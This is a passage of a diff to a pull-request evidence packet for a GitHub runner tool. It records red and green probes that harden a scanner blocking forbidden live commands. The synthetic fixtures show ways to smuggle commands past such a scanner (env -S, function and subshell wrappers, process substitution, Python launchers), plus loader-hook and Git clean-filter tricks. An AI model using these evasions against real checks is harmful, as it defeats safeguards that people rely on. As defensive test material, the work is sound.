"probe", - "experiments/g01-scaleset:./livecanary", - "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8", - "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", -] -class StopBeforeChild(Exception): - pass +env_s = "env -S 'gh workflow run ci.yml'" +if any( + namespace["forbidden_command"](segment) is not None + for segment in namespace["shell_token_segments"](env_s) +): + raise SystemExit("red setup changed: exact parent already rejects env -S") +print("RED 4003073128: exact parent accepted env -S operand containing gh workflow run ci.yml") -for finding, assignment in ( - ("4002688105", "GOCACHEPROG=/synthetic/cache-hook"), - ("4002688110", "GOAUTH=command"), +compound = "replay() { gh workflow run ci.yml; }; replay" +if any( + namespace["forbidden_command"](segment) is not None + for segment in namespace["shell_token_segments"](compound) ): - saved_env, saved_argv = dict(os.environ), sys.argv - saved_check_output, saved_run = subprocess.check_output, subprocess.run - calls = [] - def stop(*args, **kwargs): - calls.append(args[0] if args else kwargs.get("args")) - raise StopBeforeChild - try: - os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) - sys.argv = base[:6] + [assignment] + base[6:] - subprocess.check_output = stop - subprocess.run = stop - try: - exec(compile(wrapper, "", "exec"), {"__name__": "__main__"}) - except StopBeforeChild: - pass - finally: - subprocess.check_output, subprocess.run = saved_check_output, saved_run - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) - if not calls: - raise SystemExit(f"red setup changed: {finding} assignment refused before child") - print(f"RED {finding}: exact parent accepted {assignment} and reached first child lookup") + raise SystemExit("red setup changed: exact parent already rejects unsupported compound function body") +print("RED 4003073136: exact parent certified prohibited gh nested in unsupported function/brace compound syntax") +PY +``` + +Recorded exact-parent red output: + +```text +RED 4003073122: exact parent accepted unresolved command-capable call subprocess.getoutput +RED 4003073122: exact parent accepted unresolved command-capable call subprocess.getstatusoutput +RED 4003073122: exact parent accepted unresolved command-capable call os.execvp +RED 4003073122: exact parent accepted unresolved command-capable call unresolved launcher alias +RED 4003073128: exact parent accepted env -S operand containing gh workflow run ci.yml +RED 4003073136: exact parent certified prohibited gh nested in unsupported function/brace compound syntax +``` + +#### Minimal packet correction and focused green probe + +The minimal correction expands the Python command-function set to cover the +reviewed `os`/`subprocess` process-launch surface, so unresolved aliases with a +command-capable launcher leaf also fail closed. The shell wrapper parser now +recognizes only reviewed `env` flags and `-u` operands; `-S`/`--split-string`, +attached split-string spellings and unreviewed operand-bearing options return a +fail-closed marker before wrapper stripping. The shell scanner rejects +unsupported function/brace/case compounds while retaining the packet's two +reviewed wrapper declarations and safe `printf` preflight brace; Python literal +arguments use the same raw wrapper path, preserving substitutions, +process-substitution and AST checks. + +The focused green probe below reads only the candidate packet and exercises pure +AST/token helpers. It verifies the three corrected boundaries, direct/wrapped +`env` safety, safe reviewed structural forms and existing substitution guards; +it starts no Go/live child and executes no forbidden command: + +```sh +set -euo pipefail +export PATH=/opt/homebrew/bin:/usr/bin:/bin +[ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } +[ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed focused synthetic scanner argv +/opt/homebrew/bin/python3 -I - <<'PY' +import ast +import re +import shlex +from pathlib import Path +packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner = {"Path": __import__("pathlib").Path, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner) -synthetic_heredoc = "```sh\npython3 -I - <<'PY'\nimport subprocess\nsubprocess.run([\"gh\", \"api\", \"x\"])\nPY\n```" -if list(scanner["shell_commands"](synthetic_heredoc)): - raise SystemExit("red setup changed: parent unexpectedly emitted a heredoc body") -print( - f"RED 4002688115: exact parent {parent} skipped an executable Python heredoc " - "body containing subprocess.run([gh, api, x])" -) -if "GIT_NO_REPLACE_OBJECTS" in wrapper and 'env["GIT_NO_REPLACE_OBJECTS"]' not in wrapper: - print( - f"RED 4002688120: exact parent {parent} rejects override names but does not " - "bind GIT_NO_REPLACE_OBJECTS=1 before Git validation" - ) -else: - raise SystemExit("red setup changed: replacement-ref binding already present") -for form in ("cat <(printf safe)", "tee >(gh api repos/example/project)"): - tokens = scanner["executable_tokens"](scanner["shell_token_segments"](form)[0]) - if scanner["forbidden_command"](tokens) is not None: - raise SystemExit("red setup changed: process substitution form already rejected") -print( - f"RED 4002688125: exact parent {parent} accepted <(...) and >(...) " - "process-substitution forms before token classification" -) -python_lines = [line for line in lines if re.search(r"\bpython3\s+-I\b", line)] -print( - f"RED 4002688128: exact parent launches {len(python_lines)} Python heredoc/" - "interpreter forms through PATH-resolved python3 -I without reviewed absolute PATH preflight" -) +namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[scanner_start:scanner_end], "", "exec"), namespace) +scanner_probe = namespace["inspect_python_heredoc"] -validator_start = wrapper.index("def validate_test_stream(stdout, stderr):") -validator_end = wrapper.index("\nrun_command = command + [\"-json\"]", validator_start) -validator = ast.parse(wrapper[validator_start:validator_end]) -namespace = {"json": json, "label": "json-red", "actual": ["TestExpected"]} -exec(compile(validator, "", "exec"), namespace) -stream = "\n".join( - json.dumps(event) - for event in ( - {"Action": "run", "Test": "Unexpected"}, - {"Action": "run", "Test": "TestExpected"}, - {"Action": "pass", "Test": "TestExpected"}, - ) -) + "\n" -try: - namespace["validate_test_stream"](stream, "") -except SystemExit: - pass -else: - print( - "RED 4002688136: exact parent accepted unexpected top-level run event " - "{'Action': 'run', 'Test': 'Unexpected'}" +for label, body in ( + ("subprocess.getoutput", 'import subprocess\nsubprocess.getoutput("gh workflow run ci.yml")'), + ("subprocess.getstatusoutput", 'import subprocess\nsubprocess.getstatusoutput("gh workflow run ci.yml")'), + ("os.execvp", 'import os\nos.execvp("gh", ["gh", "workflow", "run", "ci.yml"])'), + ("unresolved launcher alias", 'import synthetic as launcher\nlauncher.getoutput(command)'), + ("unresolved imported launcher", 'from synthetic import getstatusoutput\ngetstatusoutput(command)'), +): + violation = scanner_probe(body, False) + if violation is None: + raise SystemExit(f"Python launcher regression: {label} was accepted") +for body in ( + 'import subprocess\nsubprocess.getoutput(command)', + 'import subprocess\nsubprocess.getstatusoutput(command)', + 'import os\nos.execvp(file, argv)', +): + if scanner_probe(body, True) is not None: + raise SystemExit(f"reviewed dynamic launcher marker rejected: {body!r}") + +def rejects(command): + return any( + namespace["forbidden_command"](segment) is not None + for segment in namespace["shell_token_segments"](command) ) + +for label, command in ( + ("env-split-string", "env -S 'gh workflow run ci.yml'"), + ("env-split-string-equals", "env --split-string='gh workflow run ci.yml'"), + ("env-split-string-short-attached", "env -Sgh workflow run ci.yml"), + ("function-compound", "replay() { gh workflow run ci.yml; }; replay"), + ("brace-compound", "{ gh workflow run ci.yml; }"), + ("case-compound", "case x in y) gh workflow run ci.yml;; esac"), +): + if not rejects(command): + raise SystemExit(f"shell scanner regression: {label} was accepted") +for label, command in ( + ("direct-env-gh", "env gh workflow run ci.yml"), + ("wrapped-env-gh", "command env gh workflow run ci.yml"), + ("unset-env-gh", "env -u TOKEN gh workflow run ci.yml"), + ("command-env-unset-gh", "command env -u TOKEN gh workflow run ci.yml"), +): + if not rejects(command): + raise SystemExit(f"existing env safety regression: {label} was accepted") +for label, command in ( + ("safe-direct", "printf safe"), + ("safe-env-assignment", "env GOTOOLCHAIN=go1.26.8 printf safe"), + ("safe-preflight-brace", "{ printf safe; }"), + ("safe-reviewed-function-declaration", "go_test_checked() {"), +): + if rejects(command): + raise SystemExit(f"shell scanner regression: {label} was rejected") +for label, command in ( + ("dollar-substitution", "printf \\\"$(gh api repos/example/project)\\\""), + ("process-substitution", "cat <(printf safe)"), +): + if not rejects(command): + raise SystemExit(f"existing substitution regression: {label} was accepted") +print("GREEN focused scanner probe: passed; subprocess.getoutput/getstatusoutput, os.execvp, unresolved imported/qualified launcher names, env -S forms and function/brace/case compounds rejected; direct/wrapped/unset env safety and substitution/process-substitution guards retained; safe printf, reviewed preflight brace/function retained; no Go/live child started") PY ``` -Recorded exact-parent red output: +Recorded focused green output: ```text -RED 4002688103: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 declares default+norace+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 while command line 1767 passes -tags=g01_pair_fixture -RED 4002688103: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 declares default+norace+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8 while command line 1769 passes -tags=g01_pair_fixture -RED 4002688105/4002688110: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 has no GOCACHEPROG or GOAUTH command-form guard before Go children -RED 4002688105: exact parent accepted GOCACHEPROG=/synthetic/cache-hook and reached first child lookup -RED 4002688110: exact parent accepted GOAUTH=command and reached first child lookup -RED 4002688115: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 skipped an executable Python heredoc body containing subprocess.run([gh, api, x]) -RED 4002688120: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 rejects override names but does not bind GIT_NO_REPLACE_OBJECTS=1 before Git validation -RED 4002688125: exact parent 81787b2e90df496a9c5a51fddc7607d3019834b7 accepted <(...) and >(...) process-substitution forms before token classification -RED 4002688128: exact parent launches 47 Python heredoc/interpreter forms through PATH-resolved python3 -I without reviewed absolute PATH preflight -RED 4002688136: exact parent accepted unexpected top-level run event {'Action': 'run', 'Test': 'Unexpected'} +GREEN focused scanner probe: passed; subprocess.getoutput/getstatusoutput, os.execvp, unresolved imported/qualified launcher names, env -S forms and function/brace/case compounds rejected; direct/wrapped/unset env safety and substitution/process-substitution guards retained; safe printf, reviewed preflight brace/function retained; no Go/live child started ``` -#### Minimal packet correction and focused green probe +The full existing forbidden-live-command audit was rerun after the focused +probe and retained its direct/wrapped fetcher, gh/Docker, delegation, +substitution, process-substitution and AST boundaries; its updated synthetic +output includes the three new Python APIs, `env` split-string/operand forms and +unsupported function/brace/case compounds. No Go test/list/body command, live +App/runner/workflow operation, credential access, Docker/Lima/Keychain/launchd +operation or destructive cleanup ran. -The minimal correction aligns both future vet identities with their literal -`g01_pair_fixture` command tag. The shared wrapper now pins empty -`GOCACHEPROG` and `GOAUTH=off` before every bounded Go child, including module -download/verify, effective flags, package metadata, vet and test paths; it -binds `GIT_NO_REPLACE_OBJECTS=1` for every Git child before source validation. -The forbidden-live-command audit now AST-inspects executable Python heredocs, -rejects dynamic command arguments even when the reviewed safe marker is present, -rejects network-capable Python imports/calls, treats awk command delegation as -unsafe, denies Git helper options and destructive/broad-kill command families, -rejects shell process substitutions before token classification, and validates the -canonical PATH before invoking reviewed absolute `/opt/homebrew/bin/python3`. -The JSON stream validator rejects unexpected top-level `run`/`pass`/`fail` -events and permits subtests only below expected source-derived parents. +Rollback is narrow and packet-only: restore only +`docs/evidence/g01-recovery-packet.md` to immutable parent +`13b463086a0e7aa710067cafb44dcd9aed118654`; preserve independent driver, +review and manual-runner state, and do not force-kill, prune or replay any live +resource. The correction makes no hostile-code, native macOS isolation, +successful workflow, runner qualification or live cleanup claim; exact-head +Codex/CI review and all previously listed authorization gates remain open. -The focused green probe below parses and executes only packet helper prefixes, -AST validators and synthetic scanner/JSON fixtures. It patches every possible -child launch, records no Go child, and performs no live operation: +#### Exact review URL ledger and dispositions -```sh +| Finding and immutable source | Exact review URL | Disposition and rollback evidence | +|---|---|---| +| 4003073122, source `13b463086a0e7aa710067cafb44dcd9aed118654` | [discussion 4003073122](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003073122) | Reproduced the exact parent's acceptance of `subprocess.getoutput`, `subprocess.getstatusoutput`, `os.execvp` and an unresolved launcher alias. The packet scanner now classifies the reviewed process-launch surface and fails closed for unresolved command-capable launcher leaves while preserving the reviewed dynamic safe-marker path. Static-only probes ran; no forbidden/live command ran. Rollback is packet-only parent restoration. | +| 4003073128, source `13b463086a0e7aa710067cafb44dcd9aed118654` | [discussion 4003073128](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003073128) | Reproduced `env -S 'gh workflow run ci.yml'` passing as a harmless token. `env` now parses reviewed operand-consuming options, rejects split-string and unreviewed options before wrapper stripping, and preserves direct/wrapped/unset `env` rejection. No env or forbidden command executed. Rollback is packet-only parent restoration. | +| 4003073136, source `13b463086a0e7aa710067cafb44dcd9aed118654` | [discussion 4003073136](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003073136) | Reproduced prohibited `gh` nested in `replay() { gh workflow run ci.yml; }; replay` being certified by the exact parent. Unsupported function/brace/case compounds now fail closed, while the two reviewed packet wrapper declarations, safe `printf` preflight brace, shell substitutions, process substitutions and AST checks remain covered. No live operation ran. Rollback is packet-only parent restoration. | + +### Fresh exact-head P2 corrections at `5f42598b94ce5339c35f55be42eb108973850d24` + +The [exact-head Codex review 5195446708](https://github.com/1XP-AI/gh-runnerd/pull/78#pullrequestreview-5195446708) identified four fresh P2 gaps against immutable parent `5f42598b94ce5339c35f55be42eb108973850d24`: executable Python heredoc discovery before body trust ([4003386579](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386579)), parenthesized subshell grouping ([4003386586](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386586)), Git clean-filter/attribute source-integrity trust ([4003386592](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386592)), and inherited loader hooks before absolute Python startup ([4003386595](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4003386595)). This packet-only correction preserves every prior ledger, exact-parent pin, TDD/rollback/live gap and no-secrets/private-path boundary; no Go, workflow, runner, Docker, Lima, Keychain, launchd or loader operation is authorized or claimed. + +#### Exact-parent red reproduction + +The red probe ran first against the exact immutable parent. It used only the +parent's static scanner text, synthetic shell/AST inputs and a temporary Git +repository; it did not execute the Python heredoc body, a forbidden command, a +Go child or any live operation: + +```text set -euo pipefail [ "${PATH-}" = "/opt/homebrew/bin:/usr/bin:/bin" ] && [ -x /opt/homebrew/bin/python3 ] || { printf '%s\n' 'reviewed canonical PATH and absolute Python interpreter required' >&2; exit 1; } [ -z "${LD_PRELOAD-}" ] && [ -z "${LD_PRELOAD_32-}" ] && [ -z "${LD_PRELOAD_64-}" ] && [ -z "${LD_LIBRARY_PATH-}" ] && [ -z "${LD_LIBRARY_PATH_32-}" ] && [ -z "${LD_LIBRARY_PATH_64-}" ] && [ -z "${LD_AUDIT-}" ] && [ -z "${DYLD_INSERT_LIBRARIES-}" ] && [ -z "${DYLD_LIBRARY_PATH-}" ] && [ -z "${DYLD_FALLBACK_LIBRARY_PATH-}" ] && [ -z "${DYLD_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_FALLBACK_FRAMEWORK_PATH-}" ] && [ -z "${DYLD_ROOT_PATH-}" ] || { printf '%s\n' 'inherited dynamic-loader hooks are not allowed before Python startup' >&2; exit 1; } +# g01-safe-python-heredoc: reviewed exact-parent static probes /opt/homebrew/bin/python3 -I - <<'PY' import ast -import json -import os import re -import shlex -import subprocess -import sys -from pathlib import Path - -packet = Path("docs/evidence/g01-recovery-packet.md").read_text(encoding="utf-8") -wrapper_start = packet.index("\nimport hashlib\n", packet.index("go_test_checked()")) + 1 -wrapper_end = packet.index("\nPY\n}", wrapper_start) -wrapper = packet[wrapper_start:wrapper_end] -tree = ast.parse(wrapper) -functions = { - node.name: node for node in tree.body if isinstance(node, ast.FunctionDef) -} -for marker in ( - "reviewed_gocacheprog", "reviewed_goauth", "reviewed_git_no_replace_objects", - "GIT_NO_REPLACE_OBJECTS", "GOCACHEPROG", "GOAUTH", -): - if marker not in wrapper: - raise SystemExit(f"green wrapper marker missing: {marker}") -if wrapper.index("reviewed_gocacheprog") > wrapper.index("repo_root = Path("): - raise SystemExit("GOCACHEPROG guard occurs after the first Git child") -if wrapper.index("reviewed_goauth") > wrapper.index("repo_root = Path("): - raise SystemExit("GOAUTH guard occurs after the first Git child") -if wrapper.index("reviewed_git_no_replace_objects") > wrapper.index("repo_root = Path("): - raise SystemExit("Git replacement-ref pin occurs after the first Git child") -go_children = [ - node for node in ast.walk(tree) - if isinstance(node, ast.Call) - and isinstance(node.func, ast.Name) - and node.func.id == "run_go_child" -] -if not go_children or any( - not any(keyword.arg == "env" and isinstance(keyword.value, ast.Name) and keyword.value.id == "go_env" for keyword in node.keywords) - for node in go_children -): - raise SystemExit("a bounded Go child does not use the pinned go_env") - -build_prefix = "g01_pair_fixture+norace+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8" -lines = packet.splitlines() -vet = [ - (lines[index], lines[index + 1]) - for index in range(len(lines) - 1) - if lines[index].startswith("go_vet_checked ") -] -if len(vet) != 2 or any( - build_prefix not in declaration or "-tags=g01_pair_fixture" not in command - for declaration, command in vet -): - raise SystemExit("future vet tag/build identity mismatch") - -original_check, original_run = subprocess.check_output, subprocess.run -build = "default+race+cgo1+cgo-tools-default+goexperiment-none+darwin-arm64-goarm64-v8.0+goroot-default+gofips140-off+go1.26.8" -base = [ - "probe", "1", "0" * 64, "probe", "experiments/g01-scaleset:./livecanary", build, - "go", "test", "-C", "experiments/g01-scaleset", "./livecanary", -] -class StopBeforeChild(Exception): - pass - -def prefix_probe(inherited=(), assignments=(), expected_error=None): - saved_env, saved_argv = dict(os.environ), sys.argv - calls = [] - def stop(*args, **kwargs): - calls.append(args[0] if args else kwargs.get("args")) - raise StopBeforeChild - try: - os.environ.clear() - os.environ.update({"PATH": "/opt/homebrew/bin:/usr/bin:/bin", "LANG": "C"}) - os.environ.update(dict(inherited)) - sys.argv = base[:6] + list(assignments) + base[6:] - subprocess.check_output, subprocess.run = stop, stop - namespace = {"__name__": "__main__"} - try: - exec(compile(wrapper, "", "exec"), namespace) - except StopBeforeChild: - if expected_error is not None: - raise SystemExit(f"{expected_error}: child started") - return namespace - except SystemExit as error: - if expected_error is None or expected_error not in str(error): - raise - if calls: - raise SystemExit(f"{expected_error}: child started") - return namespace - if expected_error is not None: - raise SystemExit(f"{expected_error}: accepted") - return namespace - finally: - subprocess.check_output, subprocess.run = original_check, original_run - sys.argv = saved_argv - os.environ.clear() - os.environ.update(saved_env) - -safe = prefix_probe(assignments=("GOCACHEPROG=", "GOAUTH=off", "GIT_NO_REPLACE_OBJECTS=1")) -if safe["env"].get("GOCACHEPROG") != "" or safe["env"].get("GOAUTH") != "off": - raise SystemExit("reviewed cache/auth settings were not pinned") -if safe["env"].get("GIT_NO_REPLACE_OBJECTS") != "1": - raise SystemExit("Git replacement refs were not disabled") -prefix_probe(inherited=(("GOCACHEPROG", "/synthetic/cache"),), expected_error="GOCACHEPROG") -prefix_probe(assignments=("GOAUTH=command",), expected_error="GOAUTH") -prefix_probe(inherited=(("GIT_NO_REPLACE_OBJECTS", "0"),), expected_error="GIT_NO_REPLACE_OBJECTS") - -validator = functions["validate_test_stream"] -validator_ns = {"json": json, "label": "json-green", "actual": ["TestExpected"]} -exec(compile(ast.Module(body=[validator], type_ignores=[]), "", "exec"), validator_ns) -allowed = [ - {"Action": "start", "Package": "example.test"}, - {"Action": "run", "Test": "TestExpected"}, - {"Action": "run", "Test": "TestExpected/sub"}, - {"Action": "output", "Test": "TestExpected/sub", "Output": "safe"}, - {"Action": "pass", "Test": "TestExpected/sub"}, - {"Action": "pass", "Test": "TestExpected"}, - {"Action": "pass", "Package": "example.test"}, -] -validator_ns["validate_test_stream"]("\n".join(json.dumps(item) for item in allowed) + "\n", "") -for event in ( - {"Action": "run", "Test": "Unexpected"}, - {"Action": "pass", "Test": "Unexpected"}, - {"Action": "fail", "Test": "Unexpected"}, - {"Action": "run"}, -): - stream = "\n".join(json.dumps(item) for item in (event, {"Action": "run", "Test": "TestExpected"}, {"Action": "pass", "Test": "TestExpected"})) + "\n" - try: - validator_ns["validate_test_stream"](stream, "") - except SystemExit: - pass - else: - raise SystemExit(f"unexpected top-level event accepted: {event}") - -scanner_anchor = packet.index("def forbidden_command(tokens, depth=0):") -scanner_start = packet.rfind("source = Path(", 0, scanner_anchor) -scanner_end = packet.index("\nmatches = []", scanner_anchor) -scanner_ns = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} -exec(compile(packet[scanner_start:scanner_end], "", "exec"), scanner_ns) -for form in ("cat <(printf safe)", "tee >(gh api repos/example/project)"): - tokens = scanner_ns["executable_tokens"](scanner_ns["shell_token_segments"](form)[0]) - if scanner_ns["forbidden_command"](tokens) is None: - raise SystemExit(f"process substitution accepted: {form}") -if scanner_ns["inspect_python_heredoc"]('print("gh api x")', False) is not None: - raise SystemExit("safe Python heredoc was rejected") -for body in ( - 'import subprocess\nsubprocess.run(["gh", "api", "x"])', - 'import os\nos.system("docker version")', -): - if scanner_ns["inspect_python_heredoc"](body, False) is None: - raise SystemExit("unsafe Python heredoc was accepted") -if scanner_ns["inspect_python_heredoc"]("import subprocess\nsubprocess.run(command)", True) is None: - raise SystemExit("reviewed dynamic safe-marker heredoc was accepted") - -headers = [] -in_shell = False -for number, line in enumerate(lines, start=1): - if line.startswith("```"): - info = line[3:].strip().lower() - if in_shell and not info: - in_shell = False - elif not in_shell and info in {"sh", "bash", "shell", "zsh"}: - in_shell = True - continue - if in_shell and re.search(r"\b(?:/opt/homebrew/bin/)?python3\s+-I\b[^\n]*<<", line): - headers.append((number, line)) -if len(headers) != 49: - raise SystemExit(f"expected 49 executable Python heredocs, observed {len(headers)}") -for number, line in headers: - if "/opt/homebrew/bin/python3 -I" not in line: - raise SystemExit(f"non-absolute Python interpreter at line {number}") - before = "\n".join(lines[max(0, number - 3):number - 1]) - if "PATH-}" not in before or "/opt/homebrew/bin/python3" not in before: - raise SystemExit(f"missing canonical PATH preflight at line {number}") -print( - "GREEN focused packet regression: passed; vet identity/tag alignment, " - "GOCACHEPROG/GOAUTH rejection and pins, GIT_NO_REPLACE_OBJECTS=1 binding, " - "AST heredoc safe/unsafe probes, <(...)/>(...) rejection, absolute " - "Python+canonical PATH preflight (49/49), and JSON top-level/subtest " - "validation; no Go/live child started" +import shlex +import subprocess +import tempfile +from pathlib import Path + +parent = "5f42598b94ce5339c35f55be42eb108973850d24" +packet = subprocess.check_output( + ["/usr/bin/env", "-i", "GIT_CONFIG_NOSYSTEM=1", "GIT_CONFIG_GLOBAL=/dev/null", "GIT_CONFIG_SYSTEM=/dev/null", "GIT_ATTR_NOSYSTEM=1", "/usr/bin/git", "--no-replace-objects", "-P", "-c", "core.fsmonitor=false", "-c", "core.hooksPath=/dev/null", "show", f"{parent}:docs/evidence/g01-recovery-packet.md"], text=True ) -PY -``` +heredoc_pattern = re.compile( + r"\\bpython3\\s+-I\\b[^\\n]*<<-?\\s*(['\"]?)([A-Za-z_][A-Za-z0-9_]*)\\1" +) +fixture = "python3 - <<'PY'\nimport subprocess\nsubprocess.run([\"gh\", \"workflow\", \"run\", \"ci.yml\"])\nPY" +if heredoc_pattern.search(fixture): + raise SystemExit("red setup changed: exact parent already recognized unisolated heredoc") +print("RED 4003386579: exact parent skipped python3 - << heredoc body containing subprocess.run([gh workflow run ci.yml])") -Recorded focused green output: +anchor = packet.index("def forbidden_command(tokens, depth=0):") +start = packet.rfind("source = Path(", 0, anchor) +end = packet.index("\nmatches = []", anchor) +namespace = {"Path": Path, "ast": ast, "re": re, "shlex": shlex} +exec(compile(packet[start:end], "", "exec"), namespace) +for command in ("(gh workflow run ci.yml)", "true && (gh workflow run ci.yml)"): + if any( + namespace["forbidden_command"](segment) is not None + for segment in namespace["shell_token_segments"](command) + ): + raise SystemExit(f"red setup changed: exact parent already rejects {command}") +print("RED 4003386586: exact parent certified gh workflow run inside parenthesized subshells") -```text -GREEN focused packet regression: passed; vet identity/tag alignment, GOCACHEPROG/GOAUTH rejection and pins, GIT_NO_REPLACE_OBJECTS=1 binding, AST heredoc safe/unsafe probes, <(...)/>(...) rejection, absolute Python+canonical PATH preflight (41/41), and JSON top-level/subtest validation; no Go/live child started -``` +def run_git_probe(args, cwd, check=True): + return subprocess.run(args, cwd=cwd, text=True, capture_output=True, check=check) -The 41/41 result covers the executable Python heredoc/path cases already in the -packet before the two self-contained probe blocks above were added. Including -those two static probe blocks, the packet-local rerun recorded: +with tempfile.TemporaryDirectory() as td: + root = Path(td) + run_git_probe(["git", "init", "-q"], root) + run_git_probe(["git", "config", "user.name", "probe"], root) + run_git_probe(["git", "config", "user.email", "probe@example.invalid"], root) + run_git_probe(["git", "config", "filter.synthetic.clean", "sed 's/package q/package p/'"], root) + run_git_probe(["git", "config", "filter.synthetic.smudge", "cat"], root) + (root / ".git/info/attributes").write_text("source.go filter=synthetic\n", encoding="utf-8") + (root / "source.go").write_bytes(b"package p\n") + run_git_probe(["git", "add", "source.go"], root) + run_git_probe(["git", "commit", "-q", "-m", "source"], root) + (root / "source.go").write_bytes(b"package q\n") + status = run_git_probe( + ["git", "status", "--porcelain=v1", "--untracked-files=all", "--ignored=matching", "--", "."], + root, + ) + pinned = subprocess.check_output(["git", "show", "HEAD:source.go"], cwd=root) + worktree = (root / "source.go").read_bytes() + if status.stdout.strip() or pinned == worktree: + raise SystemExit("red setup changed: filter fixture did not hide byte drift") +print("RED 4003386592: exact parent status gate accepted clean filter/attributes while worktree bytes differed from pinned HEAD blob") -```text -GREEN focused packet regression: passed; vet identity/tag alignment, GOCACHEPROG/GOAUTH rejection and pins, GIT_NO_REPLACE_OBJECTS=1 binding, AST heredoc safe/unsafe probes, <(...)/>(...) rejection, absolute Python+canonical PATH preflight (43/43), and JSON top-level/subtest validation; no Go/live child started +launch = packet.index("/opt/homebrew/bin/python3 -I - <<'PY") +fence = packet.rfind("```sh", 0, launch) +preflight = packet[fence:launch] +if "DYLD_INSERT_LIBRARIES" in preflight or "LD_PRELOAD" in preflight: + raise SystemExit("red setup changed: exact parent already has a loader preflight") +print("RED 4003386595: exact parent launched absolute Python without rejecting inherited DYLD_INSERT_LIBRARIES/LD_PRELOAD") +PY ``` -The corrections are packet-only and do not authorize a rerun. Rollback is -narrow: remove this unmerged packet correction or restore only -`docs/evidence/g01-recovery-packet.md` to immutable parent -`81787b2e90df496a9c5a51fddc7607d3019834b7`; preserve the independent driver, -review and manual-runner state, and do not force-kill, prune or replay any live -resource. - -#### Exact review URL ledger and dispositions - -| Finding and immutable source | Exact review URL | Disposition and rollback evidence | -|---|---|---| -| 4002688103, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688103](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688103) | Reproduced the vet tag/identity mismatch; both `go_vet_checked` declarations now bind `g01_pair_fixture+norace+...` while commands pass `-tags=g01_pair_fixture`. Rollback is packet-only parent restoration. | -| 4002688105, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688105](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688105) | Reproduced the cache-hook path reaching the first child; inherited/command `GOCACHEPROG` values must be empty and are pinned empty for module/download/metadata/test/vet children. Rollback is packet-only parent restoration. | -| 4002688110, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688110](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688110) | Reproduced command-form `GOAUTH=command` reaching the first child; inherited/command `GOAUTH` values must be `off` and are pinned `off` for the same shared Go-child paths. Rollback is packet-only parent restoration. | -| 4002688115, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688115](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688115) | Reproduced executable Python heredoc body omission; AST inspection now checks literal command APIs, requires a reviewed safe marker for dynamic command arguments and fails closed on malformed/unmarked forms. Safe/unsafe probes were static only. Rollback is packet-only parent restoration. | -| 4002688120, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688120](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688120) | Reproduced replacement-ref ambiguity; every Git child receives `GIT_NO_REPLACE_OBJECTS=1`, while other replacement/repository-control overrides remain refused before source validation. Rollback is packet-only parent restoration. | -| 4002688125, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688125](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688125) | Reproduced `<(...)`/`>(...)` acceptance; raw process-substitution syntax is rejected before shell token classification, with safe/unsafe static fixtures. Rollback is packet-only parent restoration. | -| 4002688128, source `81787b2e90df496a9c5a51fddc7607d3019834b7` | [discussion 4002688128](https://github.com/1XP-AI/gh-runnerd/pull/78#discussion_r4002688128) | Reproduced PATH-resolved Python launches; every executable heredoc now validates the reviewed canonical PATH and invokes 